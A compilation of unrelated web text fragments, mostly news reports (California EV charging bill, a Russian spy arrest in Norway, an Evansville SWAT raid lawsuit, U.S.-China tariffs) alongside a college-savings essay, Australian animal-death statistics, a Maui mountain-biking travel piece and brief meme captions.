The governor’s Executive Order would increase to 1.5 million the number of zero-emission vehicles on the roads by 2025.
The city currently does not have specific plans to fully implement the legislation, and the costs associated with AB 1452 are focused on paying city’s employees to regulate public parking and transportation.
However, there’s a possible way for cities like Sacramento to make money from AB 1452: towing fees.
“I think that these California cities can make money by towing violating vehicles,” said Hannah Goldsmith, project manager of the California Electric Transportation Coalition (CalETC), a Sacramento-based non-profit.
CalETC also sent a letter to the governor on Sept. 11 showing support for AB 1452.
“More tows can mean more money for cities,” she said.
Goldsmith said AB 1452 should help California reach many of its current goals, including the governor’s Executive Order to increase to 1.5 million the number of zero-emission vehicles on the roads by 2025 and Senate Bill 32 to reduce the greenhouse gas emission to 40 percent below 1990 levels by 2030.
“The biggest barrier to reach widespread electric transportation, which is (CalETC’s) goal, relies heavily on consumer’s understanding, adequate incentives for driving an electric vehicle and adequate charging stations to make their lives easier,” Goldsmith said. “And one of the biggest reasons why CalETC supports this bill is because we see charging infrastructure serves as its own educational outreach to the community.”
CalETC and the city of Sacramento join a list of supporters for the bill that includes Los Angeles Mayor Eric Garcetti, ChargePoint and Southern California Edison.
No opposition groups were verified by the bill, although 29 Assemblymembers and 12 senators voted “No” on the bill. None was immediately available for comment.
Assembly Bill 1452 was sent to the governor on Sept. 12.
—
Ed’s Note: Vu Chau is a journalism student at California State University, Sacramento. | {
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According to Fin Aid, a comprehensive source of student financial aid information, advice and tools, on average, college tuition tends to increase about 8% per year.
An average 8% college inflation rate means that the cost to send a child to college doubles every nine years. Accordingly, for a baby born today, college costs will triple from today’s current rates by the time the child matriculates. This is sure to give any potential parent or parent with a young child a headache!
However there are ways to reduce college costs, such as encouraging your child to attend a public university within state (on average, tuition and fees for students who live in state cost $7,020 per year) vs. a private four-year university which can run as much as $55,000 in tuition, room and board per year.
Rapidly increasing college tuition rates bring to mind an excellent question, “Should kids be responsible for their own college fund?”
It would certainly take a large burden off their parents, yet one has to think about the feasibility of this question.
In the United States, child labor laws prevent kids from obtaining work legally until they are around 14 or 15, and then, the amount of hours they can work is limited to 18 per week during the school year. In essence, the summer is the only time a child can legally work 40 hours per work week (and they can never work more than that until they reach 18).
At this rate, it would be nearly impossible for a child to save all his or her tuition costs for a private four year university, even if every penny from that minimum wage job is saved for college.
With this information, a child’s role in paying for his or her college education becomes more of a question of how much they should be asked to contribute, if anything, and if such a contribution is meaningful.
The Act of Saving is Most Important
Provided a family can obtain financial aid, federal loans or other assistance, it would be unfair and unrealistic to demand that your child save a specific amount for college. It is the act of saving, not the amount, that is important.
Children must recognize that attending college is not a right, rather a privilege. Children should be encouraged to work, provided it does not take away from their education, and to put money aside in a savings account to help their parents pay for their education. In doing so, they are more apt to feel that they have been active players in shaping their own futures.
Their sense of achievement and responsibility, having actively participated in a major life decision, will also be enhanced. This is why participation should be encouraged, but a pre-determined amount or percentage of college costs should not be dictated, as this could become stressful for the child and take the joy out of working toward a common goal, i.e., saving for college, together.
In fact, parents can even use various tactics to incentivize their children to save, such as promising to match every contribution dollar for dollar or opening an UGMA (Uniformed Gifts to Minors Act) account.
A UGMA account is a custodial account that allows parents (or adults) to put aside a substantial amount of money in their child’s name while benefiting from the child’s tax-advantaged status. The child is listed as the account beneficiary until the age of 18, at which point ownership of the account transfers to the child.
Money in the account can be used by the child to pay for college tuition. The beauty of an UGMA is that even the child can contribute. This is an ideal way for child and parent to invest in the child’s future and to also learn a thing or two about the stock market together.
There is no doubt that saving for college can put a large burden on parents. However, if children are encouraged to take part in the savings process, without setting a predetermined amount or percentage to be saved, it can be a collaborative learning process for both parent and child. | {
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What on Earth is this crocodile doing? A crocodile expert explains
Scientists now know how male funnel web spiders became so dangerous
Here are the animals REALLY most likely to kill you in Australia
Australia is renowned for its venomous snakes, scary spiders and even painful plants – but the animals that pose the biggest risk to our lives might surprise you.
By Gemma Chilton • Reading Time: 3 Minutes
Image credit: CSIRO
BETWEEN 2000 AND 2010, there were 254 reported and confirmed animal-related deaths in Australia, according to the latest report from an online database of coronial cases.
That’s probably not surprising, considering our country’s reputation – home to some of the world’s most deadly snakes, pretty scary spiders, plus some surprisingly venomous critters such as the cone snail, box jellyfish and blue-ringed octopus.
Related Video
And let’s not forgot our most ferocious predators, sharks and saltwater crocodiles.
We even have a plant that, while not fatal, has a sting so excruciating it may have once been investigated for use in biological warfare.
These are the horror stories that spread across the globe and give our continent its fearsome reputation – however, the animals that really risk our lives are far more commonplace.
Falling off a horse is the most probable animal-related death in Australia. (Image: Cgoodwin/Wikimedia)
Horses and cows and dogs, oh my!
Back in 2011, Australia’s National Coronial Information System (NCIS) released its most recent report into the trends and patterns surrounding animal-related deaths in Australia, covering the first decade of this century.
Of the 254 confirmed and reported animal-related deaths during that 10-year period, horses, cows and dogs were the most frequent culprits, accounting for 137 deaths.
Horses (including ponies and donkeys) were the most ‘deadly’ animal in Australia, causing 77 deaths in 10 years, mostly related to falls. Cows (including bulls and cattle/bovine) accounted for 33 deaths – 16 by causing motor vehicle accidents, the rest by crushing, piercing or ‘unknown’. The majority of the 27 deaths caused by the third biggest killer, dogs, were from attacks, with those deaths mostly occurring in children under four years old and in elderly people.
Kangaroos and roads can be a deadly combination for both humans and the roos, but is our focus on this issue proportionate? (Image: Getty)
Next up was our beloved kangaroo, which (indirectly) caused the deaths of 18 Australians from 2000-10 (mostly related to car accidents), followed by bees which killed as many people as sharks (16 each). Only at seventh and eighth place on the list do we encounter the notorious snakes (14 fatalities) and crocodiles (9 fatalities), followed by emus which caused 5 deaths, all indirectly from motor vehicle accidents.
Other deadly animals included fish, sheep, goats, camels, cats and jellyfish, which caused 39 deaths combined.
Almost three-quarters of victims were male and most of the deaths occurred either on public roads, in the home and on farms.
Terrifying! Right? In fact, there hasn’t been a single death from a redback spider since the introduction of anti-venom. (Image: Laurence Grayson/Wikimedia)
Shoot the messenger?
In case you hadn’t cottoned on yet, it turns out most of our perception of risk is somewhat out of whack when it comes to judging the likelihood of a deadly encounter with certain animals (what’s scarier, surfing near a river mouth at dawn, or visiting a friend’s dairy farm?).
“Our perceptions of the probability of an event has been shown to depend on its availability – how easily we are able to bring such events to mind,” explains Professor John Dunn, from the University of Adelaide’s School of Psychology.
“Events appear on the news and/or are talked about because they are noteworthy, unusual, or dramatic. As a result, these kinds of events are more available and hence we overestimate their probability of occurrence,” he says.
John points to a 1978 study, in which participants were asked to predict the likelihood of dying from certain of causes. The authors were able to show that the subjects’ over- and underestimates of certain risks could be predicted based on how often those causes of death appeared in local news stories.
“If availability was related to the actual frequency of occurrence of the event then we would be well-calibrated – that is, our judgments of the probability of an event would coincide with their actual probability,” says John.
READ MORE: | {
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Check out our new site Makeup Addiction
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trying to prevent my soul from escaping my bod... *atchoo | {
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The good news for the Dallas Cowboys is that stud linebacker Sean Lee was back at practice wearing a cast on his wrist. The bad news, he's wearing a cast on his wrist. But having a Sean Lee with a cast is better than no Sean Lee, so we'll look at it as good news.
The cast, which has been padded up to some type of club, is already becoming a character of its own. It has a nickname.
"He was going pretty good with his Q-tip of an arm he had on that," safety Barry Church said. "He was catching some passes out there." "That’s what it looks like, a big Q-tip," [Anthony] Spencer joked. "Until he hit me in the face with it. It’s hard."
More importantly, Lee was able to function.
Lee said he felt less pain than he anticipated and was more functional with his left arm and hand than expected in his first practice since dislocating his left wrist in the loss to the Eagles. He’s confident that he can play with the cast...
The Cowboys were without Miles Austin, Felix Jones and Mike Jenkins, as expected. They also rested Kyle Kosier.
Full Cowboys and Bills injury report below... | {
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COPENHAGEN, Denmark (AP) — A Russian national has been arrested in Norway on suspicion of spying after he attended a conference on strengthening cooperation between Europe’s parliamentary administrations, his lawyer said Monday.
Russia strongly denied the charges and demanded the release of the man it identified as Mikhail Bochkarev, a 51-year-old aide at the upper house of Russian parliament.
Lawyer Hege Aakre told the Norwegian news agency NTB that her client, who wasn’t identified, was being questioned by Norway’s domestic intelligence agency, PST.
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The man was arrested Friday during the event by the European Center for Parliamentary Research and Documentation, held at Norway’s Parliament, and placed on pre-trial detention for two weeks the following day. No further details were available.
Aakre said her client denies any wrongdoing.
The Russian Foreign Ministry said it summoned the Norwegian ambassador on Monday to protest the detention it described as a “provocation.”
The ministry denounced the accusations against Bochkarev as “absurd” and demanded his immediate release. It lamented what it called “a wave of spy mania around Russia” and warned that “such steps will entail consequences.”
A deputy speaker of the upper house, Ilya Umakhanov, told the Tass news agency that the “unfounded” detention of Bochkarev would hurt parliamentary ties and “won’t be left unattended.”
Prime Minister Erna Solberg said the case wasn’t political, telling NTB from New York, where she is attending a meeting with the United Nations, that the case was “a police matter that is being investigated.”
Norwegian media reported that the man is a senior IT adviser with the Russian parliament. They reported that his behavior at the two-day conference prompted parliamentary officials to contact the intelligence service.
The ECPRD is a European network for cooperation between parliamentarians on research, documentation and information. The Oslo event focused on digitalization. | {
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Forum Forums
Plans were revealed earlier this year for Walt Disney World's next solar project, and just ahead of Earth Day, Disney has shared a few more details on the project.
Construction will begin soon on the 270 acre plant, with the first solar panels already delivered to the site near to Disney's Animal Kingdom. Operated by Origis Energy, the near 500,000 solar panels will be online by the end of the year.
During peak sun hours, up to 25% of Walt Disney World's power needs will be met by solar generation. The plant will reduce annual greenhouse gas emissions by more than 52,000 metric tons, or the equivalent of removing 9300 cars from the road each year.
This new solar facility is far bigger than the first, which opened in 2016. That facility is a 22 acres with 48,000 panels, bringing 5 megawatts of power generation to the resort.
The Walt Disney Company has set a 2020 goal of reducing net greenhouse gas emissions by 50% compared to 2012.
Discuss on the Forums
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MTB Hawaii: Krank, Maui-Mex and Red Pow 4 1 2993
It was eight years ago when I first tasted Maui’s red earth on two wheels. It has been a fairly pivotal memory in terms of my riding experiences. Quite a lot has changed in that time. There is an ever growing, ever evolving mountain bike scene on the island. Hawaii’s Maui Island offers a variety of constantly shifting weather, fantastic après spots, heaps of rental opportunities, beautiful scenery, and really great riding. All this within an hour drive of Kahului airport. Let’s begin to break it down.
Widely known for it’s overwhelming tourist scene, expensive but equally beautiful golf courses, annual surf comps and crazy winter swells, Maui is also host to the Xterra Triathlon Championships. My friend and riding host Tony set me up with a sweet rental from West Maui Cycles and we set off to Kapalua to sample the mountain bike course. Most of the course is nestled in what was once one of the islands most beautiful and premiere golf courses. Fifteen years of over growth and going to seed has taken it’s toll on the old village course however.
I was told a crew of around two dozen trail workers with saws and tools head out a couple of weeks before the big event to prep and restore the 32km loop. It offers 3300 vertical feet of up and down, spectacular views, and is sure to make you sweat. Lots of water is essential here as temps can sustain at a very humid 30°C (86°F) or even more on hotter days, as it tends to be on this side of the island if it isn’t raining. Another thing to remember is that this loop is part of one of the most difficult triathlons out there, the climb is a real punch! Tony and I were only able to ride some of the trail, as much of it was still quite overgrown. It was also the first trail riding I had done in several months, so the 15km we did get to ride had me worked. We ended the ride by cruising back down the double track, past the lower parking lot at the Ritz near the beach for a very welcome swim in the tepid, but heavy surf. I must say, swimming in the ocean after a ride is sure to get anyone’s stoke on! However, the real highlight of the day for me was our après session at Miso Phat Sushi.
We were hosted by the owner Shawn and his business partner Dove (who also happens to be Tony’s girlfriend) to the finest sushi I have ever had in my life. Also note worthy was the Lilikoi ice cream Dove made, my God it was like Hawaii in your mouth! Their secret to success is some magical combination of a small place, magnetic personality, their own boat named ‘Shiso Phat’, relationships with some of the locals who can supply them with fresh catch other restaurants just can’t get, and an A+ executive chef. If you find yourself in Kapalua/Kahana it is a must visit! Check them out here www.misophatsushi.com and on facebook or instagram. If you’re interested in learning more about the Maui Xterra Championships you can do that here at www.xterraplanet.com.
UP COUNTRY & MAKAWAO
Lush rain forest of tropical ash, cook pine, eucalyptus, and a sea of ferns beckon you through the cool air and steezy vibes of Makawao and the forest reserve. Strolls through the gallery rich village, Maui-Mex and cerveza beckon you after your ride. These are the things I fell in love with my first time riding here in 2007. Don’t take my word for it though. You see Makawao is host not only to a plethora of galleries and artists, but a few heavy hitters in mountain biking who’ve come to call it home for their families and businesses.
Krank Cycles is one helluva bike shop. Owner Aaron Reichert (AKA Moose) started up the shop a couple of years ago. Nestled in this wonderfully sleepy and arty village, they are a huge part of the mountain bike community and it’s initiatives to show what Maui has to offer the sport. Their rental fleet is top notch with the latest superbikes, dirt jumpers, XC rippers and DH rigs. The staff truly shine here, offering friendly advice and directions to all the riding around the area. Be sure to check out the Krank facebook page for sick shred pics and daily trail report updates.
This Mecca is a short ten minute drive from the shop, or a good 45 minute pedal (be prepared to climb!). It is home to red-pow Valhalla. The state, and county have gotten behind the community and a local trail association to elevate this multi-use recreation area and transform it into a world class mountain bike destination. What would you like? Flow trails, juicy winding single track, full on DH, berms, dirt jumps and table tops, wall rides, or skills areas? You name it, they’ve build it. All very sturdy, very professionally built and maintained.
These trails rail, the locals are a very friendly and stoked bunch, and the red dirt of Maui is sure to leave some souvenir stains on your kit. After a session in the forest you simply must go to Polli’s. It is a local institution, has been in business since the beginning of time, and is quite simply the best Mexican food on the island, hands down!
BIKE PARK MAUI & SKYLINE TRAIL
While I was there for two weeks I didn’t get an opportunity to ride the bike park. Not for lack of trying though. On occasion it will close due to rain or high winds. If not from the weather, they are probably hard at work building and improving the various trails and features in the park. I missed out on two planned days to ride the park due to both the above mentioned variables, so I can’t personally comment on the riding. However it does look amazing.
Bike Park Maui caters to groms and intermediate riders, but seems to have everything a shredder would want all wrapped up in a super progressive, professional and buffed out package. Founder of RockShox, Paul Turner, owns and operates this beauty of a park on his own land just a five minute drive down Baldwin Ave. north of Makawao. Cost is $15 dollars per day.
Another area I have lusted to ride (for years now) is the infamous Skyline trail starting at 10 000 ft. atop Mt.Haleakalaa National Park. Littered with desert fauna and prehistoric plants, the trail descends some 7000 ft. into Poli Poli State Park in the Kula Forest Reserve. It requires a shuttle run to ride, so you’ll need a couple of vehicles and some early planning to make it work. An inquiry with the fellas at Krank could find you shredding with the locals on one of their shuttle missions.
This is pretty much the DH trail we all dream of. Views from the top are nothing short of spectacular (on a clear day you can faintly make out the curvature of the earth), and the trail itself descends through several different climate zones. Pads and full face helmets are recommended. It has been prone, over the years, to getting worked over by rain and the occasional tropical storm. This is mainly the reason I’ve missed out on riding it. One year (2012 I believe) the trail was completely wiped off the map by rain and wind fall. That year even the crater trails in the dormant volcano of Haleakala were destroyed. The passion the locals and trail workers have just won’t let them die though. Actually, for the hiker in you, the crater trail system is a once in a lifetime trek through the Mars-like environment of cinder cones and lava rock. There is a network of trails and backcountry huts which you can book, but be warned it is some very heavy hiking I’m told, so be well seasoned! There are also some super fun zip line operations, galleries, and local farms (including a lavender farm) to check out on your down days when you’re not riding, surfing, golfing or doing what ever else you’ve traveled to this one of a kind island to enjoy.
Maui is not just a surfers paradise anymore.
Red Earth Brah
Music:
Black Devil Disco Club – Bee Boop
Blue Hawaii – Lilac
Video:
Jay Sanders
Tony Crisologo
Editing:
Jay Sanders | {
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The Georgia Department of Transportation sent Channel 2 Action News a statement about the string of incidents, saying:
"Due to the tragic string of pedestrian fatalities on the interstate, we want to remind the traveling public of the dangers of being a pedestrian on the interstate. | {
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Coda.fm is a new music torrent indexer that looks surprisingly good for a torrent site, and one that combines great design and functionality like we've never seen before. Yet another great way to discover new music - if only the RIAA approved.
Coda.fm is a torrent indexer, meaning that the site does not operate its own tracker. Those browsing through the site will immediately notice that it’s unlike any other indexer. It focuses on the music niche, and has several features that make it stand out when compared to other torrent sites.
The navigation of the site can be compared to some of the better e-commerce sites, with listings of popular and new artists and albums, and the option to browse through different genres. On top of that, the site has a full-blown recommendation engine that makes it a great tool to discover new music, especially when combined with the album reviews and artist bios.
The site is open to everyone, and users are not required to sign up. However, those who take a few seconds to create an account can post comments, and track the status of any torrents they upload. To make sure that the site remains free from spam, every uploaded torrent has to be approved by one of the moderators.
Recommendations, Artist Details and Track Listing
“I’m a music lover,” the Coda.fm founder told TorrentFreak. “I always use BitTorrent to get my fix, but I was disappointed with all the public indexers and private trackers.”
“I found the experience of searching for music on public trackers very tiresome, always having to navigate through a lot of irrelevant search results and dead torrents, and was tired too of the strict rules of most of the private trackers and the elitism of some of their communities,” he added.
This encouraged the founder to build Coda.fm, which he released to the public only a few days ago. The only downside is that the site will be a major target for the RIAA and IFPI, especially because all the torrents are manually approved before they are added to the site. The “we are a search engine just like Google” argument doesn’t quite hold up here.
That aside, Coda.fm is truly an amazing site, and it is quite refreshing to see a new indexer that thinks outside the box. What do you think? | {
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By Bernie Cahiles-Magkilat
Argomall, a Filipino-owned online shopping platform focusing on authentic consumer electronics solely catering to the Philippine market, expects a stronger double-digit growth in sales as more Filipinos are converting to authentic smartphone units from feature phones.
Karel Holub, Argomall, Inc. chief argonaut, said in a media roundtable that Argomall.com has experienced robust double-digit growth in their first three years of operation. The online shopping platform, which is owned by wholly Filipino-owned conglomerate Transnational Diversified Group of Companies (TDG), only sells authentic smartphones, laptops, tablets and smart watches, and accessories from the brand manufacturers and official distributors.
Holub refused to give exact figures, but cited there are 50,000 Filipinos who are buying smartphones daily. As a start-up online shopping for consumer electronics, they average half a million visits a month.
According to Holub, they carried 400 smartphones on the first year of operation but they now carry 520 various smartphone models, representing almost 100 percent of official phones available in the market.
Argomall does not carry feature phones, which account for 10 percent only of the total mobile phone market, with the exception of Nokia. Argomall said they will soon include TVs and small home appliances in addition to mobile phones.
They already have a good following as customers who bought on their first year of operation are buying again, indicating that Filipinos change their gadgets once in every three years.
Holub said that growth is driven by its good value proposition. Foremost, he said, they only sell authentic electronic gadgets from the brand manufacturers and official distributors. All products also come with Philippine warranty, invoice and official receipt.
“We pride ourselves in delivering integrity and authenticity in all our product and services,” said Holub.
Argomall.com also allows customers to do price and specs comparison for the products allowing customers to easily decide which gadget suits them well.
In addition, Argomall has one price for each product whether COD, credit card, PayPal, or any of its wide payment options. There are no fine prints or hidden charges. All purchases include free door-to-door nationwide through its hybrid logistics scheme.
Argomall’s exclusive partnership with Home Credit likewise allows its customers in Metro Manila (and soon in Cebu and Davao) to enjoy online installment right on its website.
Holub said they are still working on perfecting their delivery system considering that logistics in an archipelagic country can be very challenging.
As a start-up what is more important is being able to build the confidence of online shoppers, said Holub.
To do this, Argomall has 20 core employees half of them are engaged as customer relations.
“We do not outsource our customer relations. We have enough agents and we don’t limit their conversation with customers, we don’t give them scripts, we just want them to engage our customers for a happy experience,” said Holub, the country manager of Nokia Philippines, Inc. before he joined Argomall in 2015.
Their customer relations managers also assist those non-tech savvy customers in creating their accounts so they can proceed with their transactions. | {
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Researchers say that limiting the amount of juice children drink -- and emphasizing water instead -- can help prevent risk for obesity. Photo by silviarita /Pixabay
On any given day, 1 in 5 American youngsters don't drink any water at all, a new survey shows.
And those who don't end up consuming almost twice as many calories from sugar-sweetened beverages.
That, investigators warn, translates into an extra 100 calories per day, which over time can raise the risk for becoming overweight or obese.
"Drinking water is the healthiest beverage to drink," said study author Asher Rosinger, director of the Water, Health and Nutrition Laboratory at Pennsylvania State University. "Water is an essential nutrient that is critical to proper physiological and cognitive functioning."
RELATED New guidelines likely to identify more children with high blood pressure
By contrast, sugary drinks "are problematic because they have been linked to many negative health conditions, such as weight gain, dental caries [cavities], and type 2 diabetes," said Rosinger. He noted that current guidelines recommend limiting daily intake of added sugars to less than 10 percent of all calories consumed.
"Kids should drink water every day, and it should be the first option [parents] go to when their kids are thirsty," Rosinger said.
In the study, data was collected from the U.S. National Health and Nutrition Examination Surveys between 2011 and 2012 and between 2015 and 2016.
RELATED Tax on sugary drinks recommended by health organizations
About 8,400 children (aged 2 to 19) reported whether they drank water each day (although amounts were not quantified), and how much of sugar-sweetened beverages they routinely consumed.
The latter included all non-diet sodas, sweetened fruit juices, sports drinks, energy drinks, and/or presweetened tea and coffee drinks. (Zero-calorie diet sodas and drinks, 100 percent fruit juices, and/or unsweetened coffee and teas were excluded.)
Among the 1 in 5 who didn't drink any water daily, sugared-drink calories totaled 200, on average, compared with 100 calories a day among water drinkers.
RELATED Consumer Reports finds heavy metals in fruit juices
Sugared-drink habits varied somewhat by race, however. For example, white non-water drinkers were found to consume more additional calories from sugared drinks than Hispanic non-water drinkers (123 extra calories per day versus 61 extra calories per day).
Regardless, are such relatively low amounts of excess calories really a big deal? Yes, say investigators, who point out that taking in an extra 3,500 calories means packing on an extra pound. That breaks down to just a little more than a month of 100 extra calories per day.
Rosinger did note that sugary drink consumption among American children has dropped over the last 15 years. But he added that "there are still pockets and sub-populations that have high consumption levels. [So] it's critical to identify which kids are particularly at risk for high sugar-sweetened beverage intake, since this can lead to these negative health effects."
On that front, Rosinger noted that water insecurity due to contamination "is a growing problem in the U.S., so we need to keep that in mind as important context, especially when it comes to parents who may be giving their kids soda or juice because they distrust the water. Therefore, it's critical to ensure that everyone has access to safe, clean water."
The findings were published April 22 in the journal JAMA Pediatrics.
Lona Sandon is program director in the department of clinical nutrition at the University of Texas Southwestern Medical Center at Dallas. She said the findings "confirm what I have seen in practice: If someone is not drinking water, they are drinking something else, likely soft drinks or other sugary drinks." She was not involved with the study.
Sandon's advice to parents? "Provide water and low-fat plain milk at the table. Keep flavored milk only for special occasions. Avoid purchasing soft drinks or other fruit juice-type drinks that are laden with added sugar. Try no-calorie, flavored seltzer water instead. Make a no-soft drink or other sugary drinks rule in the household. Save them for special occasions. Keep 100 percent fruit juice to 1 cup per day. Keep sports drinks for sports, not with meals, and only if the child will be exercising for more than an hour."
And dump the energy drinks, Sandon concluded. "Kids do not need them."
More information
The U.S. Office of Disease Prevention and Health Promotion offers more on healthy diet guidelines.
Copyright © 2019 HealthDay. All rights reserved. | {
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U.S. Attorney General Jeff Sessions has added more than 300 prosecutors to fight crimes including drug distribution and use related to the opioid crisis. Sessions announced a renewed commitment to fighting crime in a release on Monday.
“Under President Trump’s strong leadership, the Department of Justice is going on offense against violent crime, illegal immigration, and the opioid crisis—and today we are sending in reinforcements,” Sessions said.
The Attorney General announced that he is appointing a total of 311 new Assistant U.S. Attorneys nationwide. Of those, 86 will be civil enforcement prosecutors, many with the Prescription Interdiction and Litigation Task Force. That new enforcement team is combatting the opioid crisis by targeting every level of the distribution system.
Another 190 of the new attorneys will prosecute violent crimes. The Department of Justice will use the remaining 35 appointees for the prosecution of immigration violations.
Sessions said that he has taken cost-saving measures and consequently enabled the DOJ to reallocate their limited resources. He also noted that his experience with the justice department has led him to be a demanding Attorney General.
“We have a saying in my office that a new federal prosecutor is the coin of the realm,” Sessions said. “When we can eliminate wasteful spending, one of my first questions to my staff is if we can deploy more prosecutors to where they are needed. I have personally worked to re-purpose existing funds to support this critical mission, and as a former federal prosecutor myself, my expectations could not be higher.”
Sessions also noted that the new appointees are the biggest addition of prosecutors to the Department of justice in years.
“These exceptional and talented prosecutors are key leaders in our crime-fighting partnership,” he said. “This addition of new Assistant U.S. Attorney positions represents the largest increase in decades.”
Will the Government Seek the Death Penalty for Drug Crimes?
In 2017 the Department of Health and Human Services declared that the opioid crisis had become a national health emergency. More than 42,000 people died from an opioid overdose in 2016, according to HHS data.
Earlier this year, President Trump declared his administration would get tough on criminals involved in the scourge of opioid deaths. He also said that studying the problem wasn’t enough, and that capital punishment would be appropriate for some drug crimes.
“We can have all the blue-ribbon committees we want, but if we don’t get tough on drug dealers we’re wasting our time,” the president said. “And that toughness includes the death penalty.”
After that proclamation from the president, Sessions said that the justice department already had the authority to charge some drug crimes as capital offenses. And he even went so far as to urge the prosecuting attorneys under him to do so.
“Congress has passed several statutes that provide the department with the ability to seek capital punishment for certain drug-related crimes. I strongly encourage federal prosecutors to use these statutes, when appropriate, to aid in our continuing fight against drug trafficking and the destruction it causes in our nation,” Sessions wrote. | {
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The city of Evansville is seeking a favorable judgment in a lawsuit brought by a local woman alleging the Evansville Police Department violated her constitutional rights when its SWAT team tossed flash grenades into her home and forced their way inside to serve a search warrant more than two years ago.
In a legal brief supporting the city’s motion for summary judgment filed Monday in U.S. District Court, city attorneys argued the force used to execute a search warrant at 616 E. Powell Ave. on June 21, 2012, was “objectively reasonable” and that officials are immune from liability.
The officers were looking for evidence of who had made anonymous Internet posts to the Topix.com message board threatening the Evansville Police Department and Chief Billy Bolin.
A 10-minute police helmet camera video, submitted by city attorneys to support their motion, shows the SWAT team’s entry into the house. In the video, Stephanie Milan, then 18 years old, can be heard yelling, “Don’t hurt me!” at the officers.
Only she and her then 68-year-old mother Louise Milan were in the house when police shattered a glass door and burst in after throwing the flash grenades inside.
Louise Milan filed the lawsuit last year. It names the city as well as Bolin and the 11 individual officers from the SWAT team who participated as defendants.
Previous: Evansville woman sues police department after SWAT officers raid her home
Police came up empty-handed in the search for evidence about who had made the threatening posts but only after damaging Louise Milan’s house, handcuffing her and her daughter and seizing their computers, according to the lawsuit.
Law enforcement officers were able only to tell as a result of the search that, while there was an open wireless Internet connection in the home, the threatening posts were not made from inside the house, according to the city’s motion.
Milan’s lawyer, Kyle Biesecker, said police used more force than needed under the circumstances.
“We’re talking about a search warrant, not an arrest warrant,” he said.
Biesecker said he has 30 days to file his response with the court.
The FBI later arrested Derrick Murray, a suspected local gang leader who lived nearby in his mother’s house. He admitted in federal court he used his smartphone to connect to the wireless Internet router in Milan’s house and post the threats. Access to the router connection was not protected by a password.
The city’s motion noted at the time of the raid at 616 E. Powell, Murray was seen watching it from a porch down the street.
Murray told a Courier & Press reporter a week after the SWAT raid he believed he was a suspect. He later pleaded guilty to federal charges related to the threats.
QUALIFIED IMMUNITY
City attorneys Keith Vonderahe and Robert Burkart argued in the motion that police are protected by the legal principle of qualified immunity. In it, the U.S. Supreme Court has ruled that “government officials performing discretionary functions generally are shielded from liability for civil damages” as long as their conduct does not “clearly” violate established “statutory or constitutional rights.”
However, Milan’s lawsuit alleges police violated her constitutional right against unreasonable search and seizure by breaking into the home and seizing an Internet router and computer equipment. She also claimed police were negligent and caused her emotional distress.
The lawsuit claims: “The officers smashed Milan’s window and storm door and threw in two flash-bang grenades that created property damage in addition to the destroyed window and storm door. The officers used flash-bang grenades despite the fact that [there] were no threatening suspects visible. Milan and her daughter were ordered on to the floor at gunpoint, handcuffed and paraded in front of their neighbors into police vehicles. Both were detained and questioned by the officers.”
Vonderahe said video of the warrant being served was submitted as evidence because he thinks it shows how officers were professional and respectful toward the Milans after they realized the two women were not threats.
In the helmet cam video, an officer can be seen peering into Milan’s front storm door and pounding it as he announced, “Police department, search warrant, police department, search warrant.”
Immediately afterward, officers are seen breaking in the front window and door as the explosion of the flash grenades are heard, and then entering the home with guns up. A female screams as police step through the doorway as they command, “Get down, get down.”
Louise Milan was standing on the stairs when police entered; her daughter was in the living room watching TV.
Both were cuffed by officers inside the home.
“This is just for our safety,” said an officer to Louise Milan as another handcuffed her. “Someone’s going to explain what’s going on here in a second.”
“Please,” she responds.
Afterward, officers are seen and heard joking about the incident and breaking Milan’s window while standing in Milan’s living room.
“That (expletive) ram hit a lot harder than I thought it going to hit,” said an officer as the others laughed.
City officials have said the city paid for the damages to Milan’s house caused by the raid.
But Biesecker said Monday the lawsuit is about more than that.
“There are a lot of different things that they could have done,” he said. “Ms. Milan, all she wants is some acknowledgment that police were wrong.”
The city’s legal brief acknowledges, “Further investigation was necessary to determine if the person posting the threats from the IP (Internet provider) address was the actual residence subscriber to the IP address or someone else.”
However, it also argues searching the home to examine the Internet router and computers was necessary to do that, and after assessing the safety risk it was determined that using the SWAT team was the way to do that.
UNPRECEDENTED THREAT ASSESSMENT
According to the city motion, the Evansville Police Department took emergency action to find the house from where the threats were made.
Police were justified in their approach to serving the warrant by “the unprecedented threat assessment” that was made when the situation was scored for officer safety, according to the city.
“Further investigation led EPD to associate known criminals to the residence who had violent histories, gang association, weapons related charges or possessed weapons,” according to the city’s motion.
The motion argues that police records showed three people with criminal records and possible gang affiliations were associated with the house: Anthony Milan Sr., Anthony Milan Jr. and Marc Milan.
“Because of the threats and circumstances, the threat assessment total was 70, which was the highest that Officer (Mike) Gray ever remembered,” according to the city motion. “With the level of threat that existed and the potential danger to the officers, there was no way the EPD would send an officer to walk up and just knock on the door of the residence.”
Vonderahe said based on the intelligence police had gathered, SWAT had to enter the home in the manner they did, adding the situation should be evaluated in the circumstances at the time and not in hindsight.
In questioning by attorneys, Louise Milan said Anthony Milan Sr. was her son and Anthony Milan Jr. her grandson, but they only occasionally visited for short periods of time. She said Marc Milan was her husband’s nephew and she knew of him but didn’t know him.
“To me, they flew through a ton of stop signs. There was no evidence that there were actually explosives, weapons or guns there,” Biesecker said. “They were acting on bits and pieces of information that don’t make any sense.”
Biesecker also noted police invited a television news crew to be present to cover the incident.
“Bringing civilians with you to film it when there is such a threat?” he said.
___
Staff Writer Zach Evans contributed to this report | {
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Check out our new site Makeup Addiction
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Ya, It's probably worth 10,000 But I gotta frame it. | {
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A man pushes a shopping cart past a display of nuts imported from the United States and other countries at a supermarket in Beijing, Monday, April 2, 2018. China raised import duties on a $3 billion list of U.S. pork, fruit and other products Monday in an escalating tariff dispute with President Donald Trump that companies worry might depress global commerce. (AP Photo/Andy Wong)
A man pushes a shopping cart past a display of nuts imported from the United States and other countries at a supermarket in Beijing, Monday, April 2, 2018. China raised import duties on a $3 billion list of U.S. pork, fruit and other products Monday in an escalating tariff dispute with President Donald Trump that companies worry might depress global commerce. (AP Photo/Andy Wong)
BEIJING (AP) — China raised import duties on a $3 billion list of U.S. pork, fruit and other products Monday in an escalating tariff dispute with President Donald Trump that companies worry might depress global commerce.
The Finance Ministry said it was responding to a U.S. tariff hike on steel and aluminum that took effect March 23. But a bigger clash looms over Trump’s approval of possible higher duties on nearly $50 billion of Chinese goods in a separate argument over technology policy.
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The tariff spat is one aspect of wide-ranging tensions between Washington and Beijing over China’s multibillion-dollar trade surplus with the United States and its policies on technology, industry development and access to its state-dominated economy.
Forecasters say the immediate impact should be limited, but investors worry the global recovery might be set back if it prompts other governments to raise import barriers. Those fears temporarily depressed financial markets, though stocks have recovered some of their losses.
